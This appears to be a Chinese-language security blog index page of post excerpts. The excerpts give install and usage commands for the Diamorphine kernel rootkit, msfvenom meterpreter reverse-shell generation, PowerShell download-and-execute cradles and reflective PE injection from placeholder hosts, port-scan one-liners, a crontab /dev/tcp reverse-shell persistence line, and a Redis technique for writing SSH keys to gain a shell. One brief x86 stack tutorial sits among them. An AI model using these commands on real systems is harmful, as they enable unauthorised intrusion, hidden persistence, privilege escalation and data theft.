https://github.com/m0nad/Diamorphine,支持内核2.6.x/3.x/4.x
编译安装:
git clone https://github.com/m0nad/Diamorphine
cd Diamorphine
make
insmod diamorphine.ko
在diamorphine.h
里面定义了MAGIC_PREFIX
, 可以自己修改为任意其他东西,比如xx
,然后以xx为开头的文件就回全部隐身啦
kill -63 0 隐藏(显示) rootkit模块
rmmod diamorphine 删除rootkit
kill -64 0 从任意用户切换到root用户
kill -31 <pid> 隐藏<pid>的进程
Read More
根据不同的操作系统,一个进程可能被分配到不同内存区域中执行,但是不管什么样的系统,什么样的计算机结构,进程使用的内存可以按照功能分为4个部分:
- 代码区:可执行指令
- 数据区:用于存储全局变量
- 堆区:进程可以在堆区动态的请求一定大小内存,并在用完之后归还给堆区。动态分布和回收是堆区的特点
- 栈区:用于动态的存储函数之间的调用关系,以保证被调用函数返回时恢复到母函数中继续执行
程序中使用的缓冲区可以在堆区、栈区、数据区,不同地方的缓冲区利用方式不同。
内存中的栈区指的就是系统栈,由系统自动维护。
栈时FILO结构,所以栈顶指的是最下方,底部是最上方。
- %esp 指向栈的顶部(栈指针寄存器,存放一个指针,永远指向系统栈最上面栈帧的栈顶)
- %ebp 指向栈的底部
- %eip 用来存储即将执行的程序指令的地址
- Frame Pointer(FP) Or Base Pointer(BP), Stack Pointer(SP)
- 函数栈帧:ESP和EBP之间内存空间为当前栈帧
32位x86架构下的通用寄存器包括一般寄存器(eax、ebx、ecx、edx),索引寄存器(esi、edi),以及堆栈指针寄存器(esp,ebp)
- eax: 累加寄存器(Accumulator),用以进行算数运算和返回函数结果等。
- ebx: 被称为基址寄存器(Base),在内存寻址的时候用来存放基地址。
- exc: 被称为计数寄存器(Counter),用以在循环中计数。
- edx: 被称为数据寄存器(Data),常配合eax一起存放运算结果等数据。
栈操作(在32位下):
- push(压栈) push sth -> [esp]=sth, esp=esp-4
- pop (出栈) pop sth -> sth=[esp], esp=esp+4
Read More
反弹123端口的powershell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x. LPORT=123 -f psh-reflection >123.ps1
powershell.exe -exec Bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/123.ps1')"
端口扫描:
powershell -exec bypass -c "444..446 | % {echo ((new-object Net.Sockets.TcpClient).Connect('x.x.x.x',$_)) "Port $_ is open!"} 2>$null"
自定义端口和IP
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.1.$a",$_)) "Port $_ is open!"} 2>$null}
1..20 | % { $a = $_; write-host "------"; write-host "192.168.1.$a"; 22,53,80,445 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}
169..171 | % { $a = $_; write-host "------"; write-host "103.27.177.$a"; 445 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}
powershell.exe -exec Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -enc xxx
内存加载运行:
powershell.exe -exec bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://x.x.x.x/2.exe -ExeArgs 'whoami' -ForceASLR"
下载文件:
(New-Object System.Net.Webclient).DownloadFile("http://x.x.x.x/k.aspx","")
在使用msf生成ps的payload的时候,对于生成的文件格式是hta-psh解码顺序是这样的,对于其中的base64编码,先正常的base64解码,然后提取解码之后中的base64,保存为1.txt,使用如下脚本解码:
python decode.py 1.txt
#/usr/bin/env python
# coding:utf-8
import base64
import gzip
import StringIO
import sys
f = sys.argv[1]
with open(f, "rb") as file:
data = file.read()
decoded=base64.b64decode(data)
res = StringIO.StringIO(decoded)
for i in gzip.GzipFile(fileobj=res):
print i
Read More
内网定时反弹:
(crontab -l;printf "* * * * * exec 9<> /dev/tcp/x.x.x.x/xx;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
上面反弹之后,在centos下面,如果没有监听shell的情况下,终端一直会有you have an email in /var/spool/root
, 解决方法如下:
echo "unset MAILCHECK" >> ~/.bashrc
Redis写私钥
常规操作:
config get dir //获取当前的目录, 默认: /usr/local/redis
config get dbfilename // 获取当前名字 默认: dump.rdb
config set dir /root/.ssh
config set dbfilename "authorized_keys"
set xx "\n\n pub_key\n\n"
save
之后拿到shell,然后再把dir和dbfilename改回来,顺便把known_hosts给删除掉。
redis查看部分key:
scan 1000 MATCH * COUNT 1000
get [key]
Read More
有一天小明日了一台windows版本nginx的https的反向的代理服务器(这语句不通顺)。。
攻击背景
- 获取https反向代理服务器的数据请求数据
- Windows平台
攻击流程
下载openresty和nginx的windows版本,先本地测试一下。
如果直接复制openresty里面的nginx.exe到原汁原味nginx解压包里面,提示缺少dll,没毛病。
把openresty里面的nginx.exe libgcc_s_dw2-1.dll lua51.dll,一起复制到纯天然版本nginx的文件夹里面,启动nginx.exe。
把本地环境搬到目标服务器测试下,没毛病,目标网站的反代正常工作,唯一不正常的就是http的response的header变成了openresty,可以修改openresty源代码。
截取POST数据包
根据P神的文章里面:
Read More